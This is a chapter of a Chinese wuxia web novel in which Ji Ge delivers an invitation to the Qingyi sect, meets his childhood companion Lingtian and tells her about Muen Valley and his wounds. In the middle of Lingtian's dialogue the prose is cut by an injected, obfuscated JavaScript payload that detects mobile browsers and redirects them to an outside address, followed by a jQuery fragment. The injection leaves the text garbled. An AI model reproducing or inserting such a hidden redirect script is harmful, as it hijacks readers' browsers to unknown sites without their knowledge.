10. 竹马青梅
作品:《樊笼外》 车行数日,山中湿气渐重。季歌掀起车帘,向外一看,但见云雾缭绕,变幻莫测,心知已踏入梵净山地界。
车至山门前停稳,青衣派三人下得车来。正欲与季歌一行道别,林子里忽然传出一个甜甜的笑声,道:“季哥哥,你果然在这里!”
众人回头,只见一鹅黄素纱女子自林间缓步而出。头上梳着规整的道髻,无半点珠翠,面上却施着浓妆:粉腮樱唇,一双眸子盈盈带笑。虽作道家装束,却生得皓齿蛾眉,明艳动人。
季歌颇感意外,道:“甜儿,你怎么会在这里?”
女子扑上前来,一把抱住他,娇嗔的道:“我想你呀,一走便是两月,一点消息也没有……”声音软糯又带了几分委屈。
季歌怕旁人见笑,忙轻轻推开她,向众人介绍道:“这是我妹子灵甜,自幼在衡山黄庭观修道,与我一同长大。”说罢,又将青衣派三人引见与她。
静慧、静柔正要见礼,忽见灵甜蹙起双眉,嗔道:“才不是妹子!都说过多少次了!”
语气薄怒,却尽是女儿家娇态。
季歌无奈一笑,抬手轻揽她肩头,打圆场道:“我这妹妹虽说性子顽劣了些,人却热忱大方,极好相与。”又向灵甜道:“这位是孟兄,这位是张兄,往后一段时日,我们还要同行,快来见过二位兄长。”
灵甜眼光淡淡扫过孟浪与张衡,并未依言行礼,只将一对幽怨的小眼神缓缓转向季歌,道:“明明是你比较顽劣。”抬手在他腰上拧了一把。
孟浪看得鸡皮疙瘩都起来了,啧啧道:“季兄弟艳福不浅啊。”
季歌不好意思道:“二位见笑了。”目光落在灵甜发间,道:“怎么又是这副打扮?你可是修道之人,被玉玄子道长瞧见了,又要好好说叨你。”
灵甜撇撇嘴道:“我才不管。玉玄子自己讨不着老婆,还不让别人打扮了。他不讨老婆,别人还要嫁人呢。”说着又上前搂住季歌腰身,双手钳得死死,不肯松开。
静柔在一旁看着,突然喉头哽得难受,眼眶里隐约有了泪水。静姝看到,心里厌恶,斥道:“还愣着做什么,师父都等急了。”
说罢举步踏上石阶,静柔连忙低头跟上,踏入山门那一刻,泪已不自觉落下。
季歌被灵甜搂着,突然脚下站立不稳,颅内翻江倒海。灵甜立时察觉,从他怀里起来,道:“季哥哥,你怎么了?”
季歌扶了扶额,道:“无妨,老毛病犯了。”
“可带了药?”
灵甜神色一紧。
季歌道:“还剩最后半瓶。”
说着,从怀里取出一个白瓷小瓶,拔去瓶塞,倒出两颗药丸至手心。灵甜看着他将药丸服下,想起一事,道:“对了,你的请柬可都送完了?”
季歌抬眼示意青衣派的山门:“最后一家。”
灵甜看着他将瓷瓶塞好,放回怀里,轻轻的道:“这半瓶药,约莫能撑你回到衡山了。季哥哥,你第一次下山,便离家这般久,日后不要这样了,太凶险了,至少……身边得有个人陪着。”语含怨怼之意。
季歌屈指轻刮她的鼻尖,笑道:“哪里就那么娇弱了。等见过宣仪师太,我带你去个好玩地方。”
言罢牵了灵甜,随静姝三人一同入内。
时隔多年,宣仪师太与儿时所见并无二致,气度娴雅,淡然出尘。虽已年过五十,却容光不减,眉宇间仍可见当年风姿。
季歌恭恭敬敬地呈上请柬。宣仪接过请柬,粗略看了两眼,自言自语:“下月初三,衡山祝融峰,天下掌门人大会。”
“正是。”季歌躬身道,“按照惯例,今年的天下掌门人大会由我问心剑派主办,时间定在下月初三。家父特命晚辈前来,恭请掌门携青衣派弟子赴会。家父翘首以盼。”语气间甚是恭敬。
宣仪合上请柬,目光缓缓落在他身上,道:“你便是季歌?”
季歌恭敬道:“正是晚辈。”
宣仪道:“一晃多年,上次见你,还是七八年前在衡山与你父亲议事。那时你尚年幼,躲在令尊身后不肯出来,十分腼腆胆小。”说着轻叹一声,道:“一转眼,你都这么大了。”
季歌温声道:“晚辈仍记得宣仪姑姑。多年未见,姑姑风采依旧,更胜往昔。”
宣仪闻言,眉眼舒展,笑意温和:“贤侄嘴甜,惯会说话,倒被你父亲教得极好。听闻你自幼体弱,从未下过山?”
季歌道:“承蒙姑姑惦念,侄儿打小身体不好,父亲自小让侄儿留在衡山养病。此番下山,也是借送请柬之机,苦苦央求父亲,才得以外出游历,见识江湖。”
宣仪微微颔首:“令尊令堂近来身体可好?”
季歌道:“托姑姑的福,家父家慈身体康健,他二老也时常念及姑姑,盼着早日与您衡山相聚,共话家常。”
宣仪微微一笑,不再多言。目光转向立于一旁的静姝、静慧身上,道:“你二人可还有事?”
静姝见师父心情甚佳,趁机将自沐恩谷所得的无极剑谱双手奉上:“师父,弟子途中拾得一本剑谱,不知与我派剑法是否相合,特呈请师父过目,看可否让同门修习。”
宣仪淡淡瞥了一眼,道:“路上捡来的,能有何物。”
却还是接了过去,随意翻了两页,念及堂中有客,便道:“先放下,日后再看不迟。静慧,你带客人去厢房歇息。”
季歌连忙道:“不必劳烦姑姑。我与甜儿尚有要事在身,不便久留,待到衡山,再与姑姑把酒长谈。”
宣仪听他这么说,倒也不好强留,于是道:“侄儿既然有事,那便先忙自己的,不要耽搁了。青衣派于你而言,如半个家门,日后想来,随时可至。到时候姑姑让静慧静柔陪你四处转转。”
季歌躬身一礼,道:“多谢姑姑美意,晚辈告辞。”
说完又向静姝等人颔首道别,牵着灵甜缓步退出清音阁。
从清音阁出来,季歌心道:“方才怎没见着静柔妹妹,该与她打个招呼才是。”走下台阶,回首望了眼山间的云雾,心中百思不解。却不知方才他与宣仪寒暄之时,静柔早已悄然回房,独自难过去了。
灵甜见他神色沉郁,轻声道:“季哥哥,我提前五六日便在此等你了。你离开衡山两个多月,按理说早该到了,怎么耽搁了这么长时间?教人家一阵好等。”说着面露埋怨神色。
季歌瞥她一眼,道:“又是季晨说的?”
灵甜抿唇不语,算是默认了。
季歌道:“季晨这个小兔崽子,该当早点把他的嘴缝上。”
“别打岔。”灵甜拉住他,道:“你这两个月究竟去哪儿了?从实招来。否则我再也不想理你。”
季歌见瞒不过,干脆道:“我去了沐恩谷。”
“沐恩谷?!”
灵甜瞬间张大了嘴。季歌忙竖指于唇,警告道:“此事万不可为我父亲知道,不然又要罚我在思过崖吃一个月牢饭。”
灵甜点了点头,仍是心惊,不放心道:“你去沐恩谷做什么,听说那地方阴邪诡异,那谷主更是性情乖僻,行事阴狠,专干些阴损勾当。你此行可有何收获?”
季歌道:“我从武当来青衣派的路上,见很多江湖人都往落霞山的方向去了。找人打听了一下才知,那沐恩谷以前靠兑现兵刃做交易,这次换成了孤本秘籍,江湖人抱着提升武功的想法,都一窝蜂去了。我心想,天下还有这等美事,好奇心作祟,便跟着去了。”
灵甜没再言语。目光望向正在山下石墩休息的孟浪张衡息:“那他俩呢?是什么人?”
季歌道:“是我在途中茶庄结识的好友。正好碰上青衣派的三名姑子也要去沐恩谷,大家便结伴一起去了。”见她好奇,于是将在沐恩谷一行的经历大略说与她听,只隐去了临行前与汤应寿的那番密语。
灵甜听完,好奇心更甚,道:“你说那老谷主以秘籍利诱,让众人替他杀人劫财,为的是什么?难道真是劫富济贫,锄强扶弱?”说着眉头微蹙,“我总觉得,此事背后另有图谋。”
季歌轻轻摇头,面现迷惘之色,道:“此事我现在还没有搞明白。”
灵甜道:“这里面肯定有古怪,首先那老谷主就很不正常,谷里那些家丁也不怎么对劲,什么鬼谷子,孟夫子,野郎中,这名字就起得蹊跷古
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468416|201347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怪,根本不似寻常下人。”
季歌看她思考问题的模样娇俏可爱,忍不住把她往身前一搂,道:“所以我才说带你去个好地方。
“那沐恩谷装神弄鬼,深藏若虚,要想一探究竟,还得借故再去一趟。所以我才向那老谷主提出来,带那两个块头亲自跑一趟,如此方能深入虎穴。”
二人说话间已走下石阶。孟浪听得脚步声,抬眼望见季歌揽着灵甜走来,一下子精神了,打趣道:“真是美人在怀心不乱啊,季兄弟好艳福。”
季歌白他一眼:“莫要胡说。我这位妹妹认路,接下来黔南一行,便由她带我们去。”
灵甜闻言,一张俏脸复又变色,生气的道:“都说了不是妹妹,怎么还这么说。”说着胳膊肘撞了季歌一下。
这一下撞到了他的臂伤,季歌一声“哎哟”,面露痛苦之色。
灵甜一怔,连忙扶住他,道:“我……我没用力啊……”目光下移,却见他肩胛处的衣料,隐隐透出暗红血迹,当即脸色大变,道:“你……你受伤了?”
季歌强撑道:“无妨,在沐恩谷与人交了手,旧伤复发。只可惜父亲赐我的白羽剑,陪伴了十多年,终究还是折断了。”语气中难掩惋惜。
灵甜听得又气又心疼,道:“你有伤在身为何不说,还要强撑到什么时候?竟然把白羽也折断了?”说着便拉着季歌在石墩坐下,小心翼翼褪下他的外衫。孟浪识相地让开。
只见他右肩连至手臂,横七竖八数道伤痕:有的已结浅疤,有的仍在流脓,新伤未愈,血肉鲜红,隐隐渗血,触目惊心。
灵甜眼眶一红,道:“都成这样了,还说没事!”
季歌自怀中取出两瓶药膏递给她,道:“用这个,沐恩谷谷主送的,药效可以。”
灵甜一边为他上药,一边哽咽道:“你离开衡山的时候明明好好的,怎会伤成这样?”
季歌道:“行走江湖,哪有不挨刀的。”
灵甜道:“我不问别的,只问肩上这几道绽是哪儿来的。”
季歌见她不依不饶,道:“半夜遇到十几个盗匪,打家劫舍,欺负老弱,我看不下去,跟他们打了一架,伤的。”
灵甜道:“那臂上这三道呢?也是跟盗匪打架伤的?”
季歌道:“胳膊不是,哪有那么多盗匪。”见灵甜板着脸,说道:“是路过一个镇子,撞见一帮土豪劣绅正在强抢民女,路见不平。”
顿了顿,“我本来很有胜算,结果打到后头,那帮地头蛇招来了许多官兵,混乱当中被官兵砍的。”
灵甜抹了抹眼泪,道:“你呀你,什么时候能让我省省心。”
季歌安慰道:“别担心,也不是很疼。再说,闯荡江湖,这点小伤,算不得什么。”
孟浪在旁看得真切,见他二人言谈举止暧昧传情,笑道:“当真是郎情妾意,羡煞旁人啊。”
灵甜立刻抬眼,看向孟浪与张衡,语气不满道:“你二人既与他同行,为何不看好他?让他伤成这样,连件干净衣裳也不知替他更换。”说着一张俏脸微微变色。
“换过了换过了。”季歌连忙打圆场,“是新渗的血,与二位兄长无关。再说,此番一路南下,多亏二位兄弟照料,不然我未必能平安到此。往后去黔南,还要多仰仗二位。”
孟浪平白无故被灵甜摆了一道,只觉莫名其妙,正想反驳,忽然想到季歌这身伤是为自己所捱,也算是自己没看护好他,一肚子气瞬间哑火。
张衡瞧着他脸上阵青阵白,突然笑出声来。
孟浪道:“你笑什么?”
张衡道:“我笑二哥竟也会被一个小姑娘拿捏。”
孟浪道:“拿捏什么了?我是懒得跟她计较,一介女流之辈。”
灵甜正待回怼,季歌连忙拍拍她的手,道:“好了好了,多大点事儿,我这不是好端端的在这里么。我跟你说啊甜儿,你可得好好感谢这二位哥哥,要不是他们俩一路相助,你季哥哥也活不到今天,往后去黔南的路,还得多仰仗他俩。”
灵甜虽仍有不甘,但听季歌都这么说了,也只得作罢,只是忍不住悄悄瞪了二人一眼。

